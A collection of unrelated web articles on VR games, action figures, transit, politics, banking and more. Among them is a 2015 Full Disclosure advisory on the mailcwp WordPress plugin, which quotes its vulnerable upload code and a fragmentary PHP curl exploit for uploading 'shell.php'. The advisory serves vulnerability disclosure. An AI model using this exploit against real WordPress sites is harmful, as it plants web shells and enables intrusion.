-The day we’ve all been waiting for has arrived—Wilson’s Heart is officially here! Drawing equal parts inspiration from classic monster movie horror and Twilight Zone bizarre, this narrative-driven first-person adventure lets you star in your own psychological thriller. Thanks to neo-noir cinematic flair and a cast of voice actors including Peter Weller, Rosario Dawson, Michael B. Jordan, and Alfred Molina, combined with the immersive power of VR, you can step inside a mystery like never before.  We’re taking a break from speedruns and exploratory playthroughs to celebrate with a new installment in our Touch Tuesdays series. Today’s in-depth Q&A features Twisted Pixel Games CEO Bill Muehl and Chief Creative Officer Josh Bear.  What motivated you to bring your character-driven approach to narrative games into VR?  Josh Bear: We’ve always enjoyed making character interactions feel engaging and responsive—bringing that approach into VR expanded what we could do narratively, especially from the first-person perspective. As an example, when we were prototyping Wilson’s Heart, we quickly found that the immersion of VR let us influence players’ moods and reactions through the placement of NPCs relative to the players’ personal space. That unique ability to affect the player through character interactions, paired with the natural controls that Touch provides, opened up a lot of narrative opportunities that couldn’t have been done outside of VR.  What’s your favorite part about designing for Touch?  Bill Muehl:As a studio, we’ve always loved finding ways to be creative with new technology. Touch is such a big leap forward in terms of natural interactions, we feel fortunate to have had such early access to the prototypes so we could design Wilson’s Heart to take advantage of the new interface. We’ve really enjoyed the way Touch let us design the game so that people who would normally be intimidated by a traditional controller with tons of buttons can instead put their attention toward exploring the environments, solving puzzles, and advancing the narrative in an intuitive way.  Did you encounter any obstacles while designing for VR?  BM: A big challenge was the fact that we had to give up camera control to the player, but that’s something all developers face as they make the transition to VR. We saw right away that we’d need to put a lot of attention into our sound design and subtle visual cues to guide the player without breaking immersion.  JB: There was also the challenge of locomotion in VR. We decided early on to commit to a solution that fit our gameplay and narrative design, and the natural use of Touch controllers helped a lot toward solving that. Our node-based teleportation has the added benefit of ensuring that Wilson’s Heart is comfortable experience.  How do you think VR will continue to impact the way we play and tell stories moving forward?  BM: This is clearly just the beginning of an entirely new way to experience alternate and enhanced worlds, characters, and social interactions, and we’re excited to be part of the whole movement. As the hardware and platforms evolve, we’re looking forward to even more ambitious ways to create interactive narratives.  What’s the craziest reaction you’ve seen while demoing the game?  JB: We often get a great reaction to the mirror sequence near the beginning of the game—a mix of shock and amazement as players come face-to-face with their virtual self, Robert Wilson, who’s a man in his mid-60s.  BM: It’s also great to witness the moments when players have to do something that would normally be pretty gross like reaching into a bathtub full of nasty, sludgy water, or something very painful like reaching down to pull their heart out of their own chest. Scenarios like those often create a really visceral reaction in the player.  Any particular Easter eggs we should be on the lookout for?  JB: We hope players feel like the narrative and puzzle designs provide a bunch of unexpected twists and turns, but the game also includes variety of side areas for players who want to explore deeper context of both the story and characters. Some of these include interactive comic books, newspapers, photos, and radios with plays and period music. Also, try tuning the station dial on the radios—you may get more than you bargained for.  Thanks for the eerie insights, Bill and Josh—we can’t wait for everyone to tap into the supernatural chills of WIlson’s Heart.  And NVIDIA has a surprise to make launch day even more exciting! Now through June 13, you can score Wilson’s Heart, SUPERHOT VR, and The Unspoken for free with the purchase of Rift and Touch plus any GeForce GTX 1080, 1070, or 1060 graphics card, system, or laptop. Please visit Amazon or Newegg for more information. Prices may vary, so check with your local retailer for details.  Already have your rig set up? Get Wilson’s Heart today on the Oculus Store and unravel its unsettling mysteries.  — The Oculus Team
-The Lich King commands you  Looking to start collecting the new Heroes of the Storm action figures? Well, look no further!  Here’s all of the information we currently have on this exciting new figure line.  Why should you care?  Well let’s see here.. BECAUSE THIS IS A BLIZZARD FAN’S DREAM COME TRUE! Aside from the World of Warcraft toy line manufactured by DC Unlimited (and since ended in 2012) there really aren’t many good Blizzard figures out there. Good luck finding the original StarCraft figures.  Heroes of the Storm (the game) is Blizzard's take on the "MOBA" (Multiplayer Online Battle Arena) or "Hero Brawler" genre. You can think of it like Blizzard’s All-Stars. The game takes all of Blizzard’s best characters from all of their best properties (Starcraft, Warcraft, Diablo) and brings them together with a unified design aesthetic. The in-game characters feel like awesome action figures and now they have become awesome action figures!  Manufacturer:  NECA  Who is NECA?  NECA is an American manufacturer of licensed action figures and collectibles. They have built a reputation on having highly detailed figure work at consumer-friendly price points. Their ongoing Predator line is insane. You can check out their current offerings at necaonline.com  What figures are out now?  Series 1, Wave 1 (released September 2015)  Nova Terra  Illidan Stormrage  Series 1, Wave 2 (released December 2015)  Arthas  Tyrael  Series 1 Deluxe (released December 2015)  Stitches  Upcoming Figures  Series 2, Wave 1 and 2 (sometime in 2016)  Thrall  Jim Raynor  Sylvanas  Murky  Brightwing  Series 2 Deluxe (sometime in 2016)  Series Two Deluxe - Diablo Classic (2016)  The Future  Aside from the confirmed Series 2 characters, there is no further confirmation of future figures. Video game website Kotaku had reported that NECA planned to make all 36+ figures but I have not found a source on that. When I asked NECA on twitter how early sales were going the response was “well” so feel free to read into that how you will.  Where to Buy:  All of the regular-class figures are currently available for $21.99 USD on the official Blizzard gear store. Stitches is considered a deluxe-class figure and is selling for $49.99 USD.  Outside of the official store there are number of brick-and-mortar/online sellers. Supply of Wave 1 (Illidan, Nova) seems to be dwindling and may have finished production/shipping.  Don't Sleep on These  NECA figures are known to command high after-market prices once they finish their production run. If you're a true Blizzard fan I recommend getting these figures ASAP. Plus we need to show NECA and Blizzard the demand for these so they have incentive to finish the rest!  Seriously, look at these photos of my Arthas :)  Anyone else have these figures? Please share your thoughts in the comments below!
-YEREVAN (ArmRadio)—The Armenian Ministry of Transport and Communication has launched the .հայ domain, which will work along the English language .am domain name. Նախագահ.հայ will be the first official website to be registered in the Armenian script.  The current .am domain was assigned to the Republic of Armenia in 1994, and the Internet Society NGO got the right to register it the same year. The same NGO retains the right to manage the .հայ domain.  “The registration process started back in 2012,” Vice-President of the Internet Society NGO, Grigory Saghyan, told reporters. He added that “writing in the Armenian script is compulsory for the system to recognize the website you are trying to access.”  To access websites registered on the .հայ domain from abroad, an Armenian keyboard must be installed; Windows provides that.  The Ministry of Transport and Communication has invited all state bodies to register their websites on the .հայ domain. The cost is the same as .am—9-10 thousand AMD for registration and 1,000 AMD monthly service fee.  One hundred fifty applications have already been submitted for registration, 70 of which are government agencies.
-The official Japanese website for One Piece has finally revealed the cover for One Piece Volume 80, entitled “Opening Speech.”  The One Piece Volume 80 cover features former Fleet Admiral Sengoku, Admiral Fujitora (also known as “Issho”), new Warlord of the Sea Buggy the Clown, and Vice Admiral Tsuru. In the foreground, Luffy is laughing and running with Rebecca on his back. Also featured are two characters introduced in this volume, and a subtle hint at a big event.  One Piece volume 80 will hit stores on Dec. 28. With a total of 216 pages, it is likely that One Piece Volume 80 will contain 11 chapters — from chapter 796, “Soldier’s Conviction”, through One Piece chapter 806, “At Rightflank Fortress.”  With Jump Festa 2016 (Dec. 19–20) including a One Piece Super Stage Event featuring One Piece‘s Straw Hat voice actors, combined with the still unknown “big announcement” to be given at the end of the upcoming One Piece: Adventure of Nebulandia TV Special on Dec. 19, it is possible that One Piece Volume 80 — like its predecessor One Piece Volume 79 — will also contain a hidden teaser of the upcoming One Piece movie, One Piece Film: Gold, to be released in theaters in Japan on July 23, 2016.  The One Piece chapters contained in this volume are all available in English from Weekly Shonen Jump! We’ll be doing a full review of One Piece Volume 80 with translator Stephen Paul on The One Piece Podcast in the weeks following the release in Japan. Included in that review will be our thoughts on the cover, a look at every SBS question, the Usopp Pirates Gallery, the continuing adventures of Pandaman, and a lot more. Look forward to that podcast after the volume’s release!  You can purchase One Piece Volume 80 in Japan on December 28th, 2015 or in your local Japanese import store!
-Full Disclosure mailing list archives  Remote file upload vulnerability in mailcwp v1.99 wordpress plugin  Title: Remote file upload vulnerability in mailcwp v1.99 wordpress plugin Author: Larry W. Cashdollar, @_larry0 Date: 2015-07-09 Download Site: https://wordpress.org/plugins/mailcwp/ Vendor: CadreWorks Pty Ltd Vendor Notified: 2015-07-09 fixed in v1.110 Vendor Contact: Contact Page via WP site Description: MailCWP, Mail Client for WordPress. A full-featured mail client plugin providing webmail access through your WordPress blog or website. Vulnerability: The code in mailcwp-upload.php doesn't check that a user is authenticated or what type of file is being uploaded any user can upload a shell to the target wordpress server: 2 $message_id = $_REQUEST["message_id"]; 3 $upload_dir = $_REQUEST["upload_dir"]; . . 8 $fileName = $_FILES["file"]["name"]; 9 move_uploaded_file($_FILES["file"]["tmp_name"], "$upload_dir/$message_id-$fileName"); Exploitation requires the attacker to guess a writeable location in the http server root. CVEID: OSVDB: Exploit Code: •  'shell.php','file'=>'@'.$file_name_with_full_path); • • $ch = curl_init(); • curl_setopt($ch, CURLOPT_URL,$target_url); • curl_setopt($ch, CURLOPT_POST,1); • curl_setopt($ch, CURLOPT_POSTFIELDS, $post); • curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); • $result=curl_exec ($ch); • curl_close ($ch); • echo "
"; • echo $result; • echo "
"; • ?> • Advisory: http://www.vapid.dhs.org/advisory.php?v=138 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/  By Date By Thread  Current thread:
-ONE ENTRANCE: CTA's proposed 'compact station' concept for the Blue Line reduces passenger entrance points to one. This image replaces an image incorrectly attributed to CTA. (Courtesy CTA)  By Jean Lotus  Editor  The CTA issued a statement Thursday saying that the transit agency is not considering "compact station" options for any Oak Park or Forest Park train stations in its Blue Line upgrade plan. The clarification came after Wednesday Journal and the Forest Park Review published an article Wednesday pointing out CTA documents which showed a "compact station" option was being considered for stops at Harlem, Oak Park and Austin.  "Based on Blue Line Vision Study findings and public feedback, the CTA is not presently considering compact stations for any of the Oak Park and Forest Park stations," said a statement from CTA Media Representative Lambrini Lukidis.  "The agency is still very early in this process and is reviewing and collecting public feedback regarding other design options with regards to the remainder of stations along the I-290 corridor," the statement continued.  "The CTA continues to welcome all comments and continues its collaboration with the Illinois Department of Transportation."  Documents on the CTA's http://www.transitchicago.com/assets/1/planning/CTA_Blue_Line_Boards_FINAL_100813.pdf website showed the three Oak Park and Forest Park stations as candidates for the "compact station" design, which would have meant mean eliminating "minor" entrances at Lombard, East and Circle Avenues.  All 12 stations along the Blue Line are slated for complete replacement in the CTA's Blue Line Vision Study.  Thursday morning, State Senator Don Harmon sent an email saying he had contacted CTA planners and had been assured that Oak Park and Forest Park's stations would not be considered for "compact" CTA station designs.  "CTA clarified for me that, in fact, its own planners are against the idea of closing the second station entrances at those locations," Harmon said. "The CTA planners recognize that such steps reduce transit access."  Wednesday Journal wrote the article after former IDOT Citizens Advisory Committee Chair Fred Branstrater pointed out the CTA's own documents showed local train stations being considered for the "compact" design, which would have reduced entrances from two points to one.  These diagrams were displayed at an April 22 joint presentation by IDOT and the CTA at Proviso Math and Science Academy in Forest Park.  Harmon said he has been following the CTA Blue Line plans very closely.  "Transit greatly benefits our community, helping us avoid traffic on the roadways, providing environmental benefits, and providing affordable transportation options for all households," he wrote.  Contact:  Email: jlotus@forestparkreview.com Twitter: @FP_Review
-The family of a brave teen who tackled a suicide bomber who was trying to enter his school is imploring the Pakistani government for protection as terrorists have warned them they are targets.  The kin of Pakistani teenager Aitzaz Hassan called the 15-year-old "pehlwan" -- or wrestler -- because of his heavy-set frame. On Jan. 6, 2014, Aitzaz, who had talked about becoming a soldier one day, used his might to keep a suicide bomber from blowing up his classmates.  Aitzaz was standing outside his government school in the northwestern district of Hangu when the terrorist, claimed by Lashkar-e-Jhangvi, a group with ties to al-Qaeda and the Pakistani Taliban (TTP), tried to enter the gates and reach the morning assembly.  The teen quickly tackled the bomber, preventing him from entering the school and reaching some 1,000 students inside. Aitzaz died later at a hospital from injuries suffered in the bomb blast.  Aitzaz's father, Mujahid Ali Bangash, was working in the United Arab Emirates at the time. He told Agence France-Presse he was "happy that my son has become a martyr by sacrificing his life for a noble cause."  "Aitzaz has made us proud by valiantly intercepting the bomber and saving the lives of hundreds of his fellow students," he said.  The teen was posthumously awarded the country's Sitara-e-Shujaat, or Star of Bravery. The family has been lobbying to make Jan. 6 Aitzaz Day in Pakistan, so all will remember his ultimate sacrifice to stop terrorism.  This April, the family received a threat from Tehreek-e-Taliban Pakistan: "Aitzaz Hasan is not a hero nor a martyr," the letter said. "If Aitzaz's brother Mujtaba does not stop meeting media and officials of government institutions, he will be responsible for any loss.”  The TTP shot Malala Yousafzai, a teen advocate for girls' education, in the head in an Oct. 9, 2012, assassination attempt. She survived and went on to become the youngest Nobel Peace Prize recipient in history.  Aitzaz's brother Mujtaba went to local authorities shortly after receiving the threat to ask for government protection for the Hasan family. According to Pakistan's The Nation, authorities are still mulling over the request.  “Despite my plea to the relevant security institutions informing them of the threat, I have not yet received a reply from any of them,” Mujtaba said. “Right now my family only has one guard for protection, provided by the district administration. It is a request to the authorities to give us the required security. My family is going through trauma and need their support.”  Mujtaba said the provincial government "has not been in contact with my family" about security and is not keeping promises to honor the teen who stopped what would have been a disastrous attack.  "They are yet to keep their word of building two colleges and a sports stadium in Aitzaz's name," he noted. "The federal government has not contacted us at all."
-After being greatly missed on Game of Thrones last season, Bran Stark will make a welcome return in Season 6 — and fans got a first look at his new grown-up haircut on Monday.  Bran, played by English actor Isaac Hempstead Wright, is now a teenager as the handicapped prince learns to control his fledgling psychic powers while traveling north of the Wall.  In the new photo published by EW, Stark’s shaggy hair has been neatly cut since we last saw him meeting with the mystical Three-Eyed Raven (Max von Sydow) in the Season 4 finale.  Also Read: ‘Game of Thrones’ Is Once Again Most Pirated TV Show of the Year  “It’s going to get particularly interesting with Bran. He has some interesting visions,” 16-year-old Hempstead-Wright told the Irish Examiner earlier this year.  The return of the young Stark son could be a game-charger for loyal followers of the family, and mark a revenge plot line against the Lannisters considering that it was Jaime Lannister (Nikolaj Coster-Waldau) who crippled Bran by pushing him off a tower.  Game of Thrones Season 6 premieres on HBO in April 2016.
-The Government has been accused of misleading the public over the introduction of a new in vitro fertilisation (IVF) technique that some experts believe will result in the birth of “genetically modified babies”.  Leading scientists, including Lord Winston, an early pioneer of fertility treatment, have criticised the Department of Health for trying to play down a process that will for the first time allow the alteration of the DNA of future generations.  They argue that the Government has redefined the term “genetic modification” (GM) to exclude specifically a controversial technique that will result in babies inheriting genetic material from three individuals.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  The move, buried within a Department of Health document published last week, is designed to take the sting out of hostility towards mitochondrial donation – a process that aims to avoid the certain inherited diseases being passed on by using healthy mitochondria (microscopic structures in the cell) taken from a donor egg or embryo. Opponents believe that using the healthy donor mitochondria will result in “three-parent embryos” and could usher in an era of “designer babies” and “genetically modified children”.  The Government admits it has decided to adopt “a working definition [of ‘GM’] for the purpose of taking forward these regulations” but scientists believe that the redefinition of GM is dishonest. They also warn it could undermine public trust in medical experts arguing for its introduction in the UK, the only country where it will be permitted in law if legislation is passed.  Lord Winston told The Independent: “The Government seems to have come to the right decision but used bizarre justification. Of course mitochondrial transfer is genetic modification and this modification is handed down the generations. It is totally wrong to compare it with a blood transfusion or a transplant and an honest statement might be more sensible and encourage public trust.”  Ted Morrow, an evolutionary biologist at the University of Sussex, was equally scathing about the new definition of GM, which specifically excludes alterations to human mitochondrial genes or any other genetic material that exists outside the chromosomes in the nucleus of the cell.  “My impression is the Government is doing all it can to contain and define these kinds of terms in ways that favour mitochondrial replacement being introduced as an uncontroversial therapy,” Dr Morrow said.  “They push the idea that mitochondrial DNA does nothing more than regenerate more mitochondria, which are nothing more than cellular batteries, and that mitochondrial genes don’t encode traits relevant to personal identity and so on,” he added.  David King, from the pressure group Human Genetics Alert, said the Government is “playing PR games based on very dubious science” because any changes to the mitochondrial genes will amount to genetic modification. “Their restriction of the term to nuclear inheritable changes is clearly political. They don’t want people like me saying that they are legalising GM babies,” Dr King said.  Mitochondria are the tiny “power-packs” of the cells that generate metabolic energy from glucose. They are under the control of 37 mitochondrial genes which exist as a separate DNA molecule outside the nucleus of the cell.  About one in every 6,500 babies born each year is affected by inherited defects in the genes of the mitochondria. Serious mitochondrial diseases are painfully debilitating and cause long-term ill health, low quality of life and premature death. The Government is under pressure to allow mitochondrial donation as part of IVF treatment to give affected women the opportunity of having biological children who will be free of the condition.  The technique involves taking the healthy mitochondria of a donor egg or embryo and using them to replace the defective mitochondria. The resulting embryo will have genetic material from the two women in addition to the nuclear DNA from a man. Although mitochondrial DNA accounts for less than 0.2 per cent of the genome, the technique is controversial because it will alter the genetic make-up of future generations.  The Health Department accepts the germ-line of future generations will be altered, but it insists, in its official response to the public consultation published last week, that this does not amount to genetic modification. “There is no universally agreed definition of ‘genetic modification’ in humans – people who have organ transplants, blood donations or even gene therapy are not generally regarded as being ‘genetically modified’,” the response says.  “The Government has decided to adopt a working definition for the purpose of taking forward these regulations.”  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-USAA, the largest provider of insurance and other financial products to U.S. military members, has consolidated its marketing business with a cluster of Publicis Groupe agencies after a formal review that lasted several months. Starting in the second quarter of 2017, all USAA work currently handled by other agencies will be transitioned to the Publicis umbrella group.  The news comes less than a year after a scandal involving a racist email sent by an executive at USAA's former agency of record, Campbell Ewald, made international headlines and inspired a new round of conversations about diversity in the advertising industry.  Earlier this year, Publicis Groupe announced it would transition to a more collaborative model, and several of its shops will work on the USAA business. Saatchi & Saatchi will lead creative with Razorfish on digital, Prodigious on content marketing, MSLGroup handling public relations, and Mediavest | Spark running media buying and planning for the client.  USAA's announcement also includes a pledge that 30 percent of all staffers working on the business come from "diverse communities," making it the latest in a series of companies including General Mills, HP and Verizon to make specific diversity demands of its agency partners.  "Publicis Groupe is the right fit with USAA's culture, sharing our passion for serving America's military community and belief in the value of diverse perspectives," said senior vice president for marketing and communications Roger Adams in a statement. "Their integrated service offering and approach to diversity perfectly complement our team at USAA. We will be better equipped to deliver integrated and impactful communications to our employees, members, prospective members and community partners."  Publicis Groupe chairman and CEO Maurice Lévy said that for USAA, his company "delivered a customized strategy and program that demonstrated the positive impact of this new organization under one client leader who can leverage all our capabilities and competencies." The group handling the account will spread across three separate holding company "hubs" including Publicis Communications, Publicis.Sapient and Publicis Media. USAA also has retained WME | IMG to promote sponsorship-related events like the annual Army-Navy football game.  USAA spent approximately $146 million on paid media in the U.S. in 2015, per Kantar Media.  The past year has brought unexpected controversy to the USAA organization. In January, the group abruptly terminated its eight year contract with former AOR Campbell Ewald after Adweek's AgencySpy blog brought to light a racist email scandal. The site published an internal all-staff message from a white creative director promoting a "Ghetto Day"-themed agency party late last year. Later the same week, USAA ended its relationship with Campbell Ewald, and parent company IPG fired agency CEO Jim Palmer.  USAA subsequently sent its marketing business to fellow IPG shop MullenLowe, which will no longer work on the account as of the second quarter of 2017.  Publicis Groupe's "The Power of One" approach has recently factored in several winning pitches, most prominently Walmart. The retail giant consolidated its marketing business with Publicis this summer, ending a nine-year relationship with The Martin Agency.
-Syria called on the United Nations Security Council (UNSC) to take action against Israel on Thursday after a reported Israeli air strike on a military facility near the Syrian-Lebanese border on Wednesday.  “The Government of the Syrian Arab Republic calls upon the UNSC to condemn the blatant Israeli aggressions [sic]," a statement carried on the state-run SANA news agency said, adding that Syria "calls on the international organization to adopt firm and immediate measures to stop those attacks and hold Israel accountable for its support to terrorism which would inflame the situation in the region and the world."  Israel's air force bombed a weapons depot in Homs province on Wednesday night local time, Lebanese media and a monitoring group said, the latest in a string of strikes in recent weeks.  Lebanese news outlet al-Mayadeen reported that Syria fired a surface-to-air missile at Israeli aircraft after the strike, which reportedly occurred in the suburbs of the city of Homs.  Local residents reported of Israeli jets circling in the area and an explosion, according to a report on the Lebanese site Anshara. Syrian television reported "an aggression" by Israel in the region, adding that the national army had "responded".  The Israeli army refused to comment on the report.  In Thursday's statement SANA described the facility as a "copper factory for civil industries in Hassyah industrial zone in Homs province."  The statement repeated claims frequently made by the regime of Bashar Al Assad that Israel secretly controls Islamist terror groups such as Islamic State (IS) and Al Nusra, who have been fighting the regime in an almost six-years-long civil war.  Israel has acknowledged carrying out airstrikes in Syria since the outbreak of the bloody conflict, in order to stop arms deliveries to Shiite militia Hezbollah, an ally of Assad's ruling clan.  The Syria observatory said Israel had also struck an arms depot near the Damascus airport on September 22, and this month targeted a jihadist faction linked to the Islamic State group in southern Syria, killing at least 10.  Damascus made a similar plea to the Security Council in mid-October, saying they were "surprised" by UNSC inaction.  Israel said last month it had attacked Syrian government artillery after fire from across the armistice line hit the Israeli-occupied Golan Heights  AFP contributed to this report.
-The European Parliament on Wednesday (22 October) punched a €3.8 million hole in the EU commission 2015 budget as leverage until the Brussels-executive improves its transparency record.  The money will be released once MEPs in the budget committee are satisfied the commission has stepped up efforts to increase transparency on so-called expert groups, which offer commission officials advice on drafting new policies.  MEPs want more balanced expert groups (Photo: h.koppdelaney)  Critics say the groups are imbalanced because they sway too heavily towards industry-types without adequate input from others like civil society.  “Suspending these funds sends a strong signal to the commission that this cannot continue,” said German Green MEP Helga Trupel, who tabled the budget amendment.  The freeze reduces available funds to reimburse travel and expenses like food bills.  The commission, for its part, says the imbalance often occurs because not enough people from civil society with the required expertise apply to sit on the groups in the first place.  “It is not correct to say that the commission is not serious about making its expert groups more transparent and balanced,” said EU commission spokesperson Anthony Gravilli.  He pointed out that the membership of many groups has been reviewed and noted “transparency has been significantly enhanced” over the years via a special register for expert groups.  But while the overall lack of applications from civil society is a recognised problem, pro-transparency groups warn that some of those sitting in the groups are really corporate lobbyists cloaked in a "personal capacity" label.  A "personal capacity" label means the representative is supposed to be acting in the public interest and be independent.  The label - if incorrectly applied - could give the impression that a group is balanced when in fact it is not.  In a letter addressed to the EU ombudsman Emily O’Reilly in late August, Corporate Europe Observatory (CEO), an NGO monitoring transparency and ethics, highlighted several such examples.  It is a loophole and a demand the European Parliament on Wednesday wants closed.  Trupel’s amendment, which was widely endorsed by the political groups, requires the commission to ban lobbyists and corporate executives sitting in expert groups in a "personal capacity."  Other demands require the groups to be more balanced and ensure the selection process is open to public scrutiny.  Membership information, agendas, minutes, and participants’ submissions also need to be published online “unless if there is a clear and published reason for not providing this information.”  The EU ombudsman Emily O'Reilly over the summer launched her own inquiry into the matter with recommendations expected sometime next year. Euro-deputies want her findings to be integrated into the commission’s rulebook on the groups.  It is not the first time the parliament has used its budget powers to force the commission’s hand.  A similar effort by the MEPs was made in 2011 for the 2012 budget.  MEPs at the time had put €2 million into reserve, which they then lifted a few months later.  The commission said the reserve was lifted because it had fulfilled the conditions imposed by the parliament.  Not everyone agrees, with a new study out this month that says corporate interest continues to dominate the groups.  “Two years on and we're back in the same position because all other routes of reform have led to a dead end,” said Max Bank from pro-transparency group, LobbyControl.  Meanwhile, Wednesday’s vote on the 2015 budget has put the European Parliament in direct opposition to the Council – representing member states.  The assembly voted to increase the budget and reversed the cuts made by the Council.  The two sides are now set to discuss details in the hopes of getting the budget approved by the end of November.
-Another group of global banks helps Ripple span the world. Image: Shutterstock  In 2015, when Ripple came out of the lab, we did more than rebrand as a company. We sharpened our focus and set our sights on our long-term goal: to interoperate the world’s banks and make cross-border payments truly efficient.  Since then, we’ve announced our progress toward that goal where banks moved beyond blockchain experimentation and into commercial production. Today, following our Series B funding announcement, we have more good news.  Ripple is proud to announce the addition of several more financial institutions to our growing network. Standard Chartered, National Australia Bank (NAB), Mizuho Financial Group (MHFG), BMO Financial Group, Siam Commercial Bank and Shanghai Huarui Bank are now among the global banks that have adopted Ripple’s settlement technology to improve their cross-border payments and offer their customers improved service.  Ripple adds new banks to growing global network. Tweet This  “2016 has proven to be the year where the most forward-thinking financial institutions are actually using blockchain technologies for payments and settlement rather than as an experiment,” said Ripple CEO and co-founder Chris Larsen. “The continued growth of the Ripple network represents a major endorsement of our open approach to connecting the world’s banks and their customers, and together we are building a modern payments system to enable new economic opportunities and the seamless flow of value around the world.”  Banks that join our growing network can take advantage of Ripple’s distributed financial technology, which can drastically reduce the time and cost of settlement and enable new types of high volume, low value global transactions for their customers. While the use cases vary from retail remittances to corporate disbursements, each of these financial institutions have successfully used Ripple to transfer real money payments, and all are working to implement the technology in commercial production.  Notably among them, Standard Chartered offers their corporate customers access to new types of interbank payment services across and even beyond its global network. Similarly, Shanghai Huarui Bank is using Ripple to launch a new commercial peer-to-peer remittance service to its growing retail customer base, so they can send money internationally in real-time and at a much lower cost.  Today’s news follows SBI Ripple Asia’s announcement from last month on the creation of a Japanese consortium of 15 banks that will use Ripple’s technology for payments and settlement. Our joint venture, SBI Ripple Asia, projects that the 15 inaugural members will increase the size of the consortium to 30 banks and that the new service will go live in spring of 2017.  Our customers are optimistic and enthusiastic about this seismic shift in payment and settlement technology.  “With over $155 trillion of cross-border payments being made between businesses annually, it is crucial that we continue to innovate to make international payments easier and faster not just for our clients but also for the future of the payments industry. As a leading international bank committed to facilitating trade, commerce and investments, this partnership will go a long way in progressing our digitization agenda to develop innovative solutions for our clients.”  —Gautam Jain, Global Head, Digitization and Client Access, Transaction Banking, Standard Chartered  We’re building on our already extensive network of customers, some of which we announced earlier this year. This list includes Santander, UniCredit, UBS, Royal Bank of Canada (RBC), ReiseBank, CIBC, National Bank of Abu Dhabi (NBAD), ATB Financial, Fidor Bank, and Westpac Banking Corporation, among others.  As the only provider of enterprise-grade distributed financial technology solutions, Ripple’s global network now includes 15 of the top 50 global banks, 10 banks in commercial deal phases, and over 30 banks that have completed pilots. This list includes other institutions currently using Ripple’s solutions, yet to be announced.  Our network is growing by leaps and bounds, but we’ve only just begun. Stay tuned for even more news from Sibos 2016.
-Just over a month after it was announced that there will be a United States Grand Prix in Austin, Texas in 2012, Formula One boss Bernie Ecclestone has revealed that a second race may take place in the country and his circuit designer Hermann Tilke is currently there investigating it. "Tilke is in New Jersey now looking into it," he said over lunch last week.  In March, Ecclestone first revealed that a race in New Jersey was being investigated. "It would be in front of Manhattan in New Jersey, with the skyscrapers in the background," Ecclestone said adding: "Fifteen minutes from the centre of New York to the circuit would be marvellous." A 3.6-mile track was scheduled to be built in the grounds of New Jersey's 600-acre park but it was vetoed for environmental reasons by the public and the Jersey City mayor.  Tilke is now believed to be looking for a location in New Jersey which would not face this opposition but would still enjoy the same view of the New York skyline in the background. It could be a reserve option if the Grand Prix in Austin falls through.  A new purpose-built circuit will be constructed for F1 in Austin and although Ecclestone says that "the land is bought," he adds: "My concern is that I don't know how quick they can build ... that's what I am worried about. I don't worry about anything else."  Ecclestone says he requested that Austin host F1 in 2012 to get the race on the calendar as soon as possible. He explains that "the government is supporting it," and is believed to have committed $25 million to cover the annual race-hosting fee.  Funding may be needed even if the Grand Prix doesn't take place as Ecclestone recently said that if Austin fails to host the race "we've got some penalty clauses, although I wouldn't want to use them".  He remains confident that this will not happen and says that the government "won't lose their money". However, he does sound one note of caution: "It's hard to promote anything in America. It will either get a following or it won't."  © ESPN Sports Media Ltd.
-Martin Sichert, Alexander Tassis und Mirko Welsch am letzten Dienstag in Nürnberg (Bild: Youtube-Screenshots Kanal AfD Nürnberg)  21. Mai 2016, 10:51h,  Bei einem entlarvenden Auftritt der "Homosexuellen in der AfD" in Nürnberg wurde gegen "schrille" Schwule gepoltert. Mirko Welsch bezeichnete Volker Beck als "Krebsgeschwür der Schwulenbewegung".  Von Norbert Blech  Bei Vorträgen ausgerechnet zum Internationalen Tag gegen Homo- und Transphobie haben die führenden Vertreter der "Homosexuellen in der AfD" am Dienstag in Nürnberg gezeigt, wie egal ihnen die Belange und Rechte von Schwulen und erst Recht von Lesben oder gar Transsexuellen sind. Die Veranstaltung am 17. Mai unter dem Titel "Schwule und Lesben gegen den Genderwahn" war vorab mit einem Banner in Regenbogenfarben auf dem rechten Hetzportal "Politically Incorrect" beworben worden und wurde im kleinen Saal der Meistersingerhalle von der AfD Nürnberg durchgeführt.  Deren Kreisvorsitzender Martin Sichert, den der frühere Parteichef Bernd Lucke noch wegen revisionistischer Aussagen aus der Partei werfen wollte, behauptete zur Einführung, dass sich viele Homosexuelle an seine Partei wenden würden, da sie sich von Organisationen wie dem örtlichen LGBT-Zentrum Fliederlich nicht vertreten fühlten, "sondern gar in ein schlechtes Licht gerückt sehen: Sie wollen schlicht, ganz normal, Teil der Gesellschaft sein. Sie wollen nicht ihre Sexualität zum Markte tragen, vor allem nicht in einer schrillen Form." Ein Homosexueller habe ihm berichtet, wie "verstörend" diese Schwulen für ihn seien: Sie sorgten für "Unverständnis" in der Bevölkerung, weil diese Zurschaustellung vielen Menschen "zu schrill und zu belästigend" sei.  Während also Schwule möglichst unauffällig sein sollen, beklagte Sichert "Denk- und Sprechverbote" u.a. durch ein Gender Mainstreaming und durch (vermeintlich) linke Organisationen, die in Wirklichkeit einer Diskriminierung Homosexueller Vorschub leisteten, indem sie gegenüber dem Islam und im Rahmen der Zuwanderungswelle "eine falsch verstandene Toleranz" zeigten. Errungenschaften von Jahrzehnten stünden auf der Kippe, so Sichert. "Und die Haute-Volée diskutiert weiter um Ampelweibchen, Unisex-Toiletten, die richtige Ansprache von Leuten, die sich nicht entscheiden können, welches Geschlecht sie haben."  Gegen die "spätrömische Dekadenz" des Gender Mainstreamings  Mirko Welsch, einer der beiden Bundesvorsitzenden der "Homosexuellen in der AfD", berichtete in seinem Vortrag, er habe in der Innenstadt einen Fliederlich-Stand gesehen und sich "fremdgeschämt" über die "Berufsschwestern", die sich "selbst vermarkten" und damit angeblich Geld verdienten, weil "sie selber sonst nichts auf die Reihe kriegen". Das reiht sich ein in eine lange Reihe von plumpen Angriffen Welschs gegen LGBT-Organisationen. Nach den jüngsten Landtagswahlen ließ er etwa auf einem Motiv den LSVD und die Zeitschrift "Männer" und queer.de wegkehren. Im Mai forderte er, dem LSVD und Aids-Hilfen die staatlichen Fördermittel zu streichen, da diese als "linksgrüne Parasiten" konservative LGBT ausgrenzten.  Die Rhetorik ist bis ins Absurde hart – in Nürnberg bezeichnete 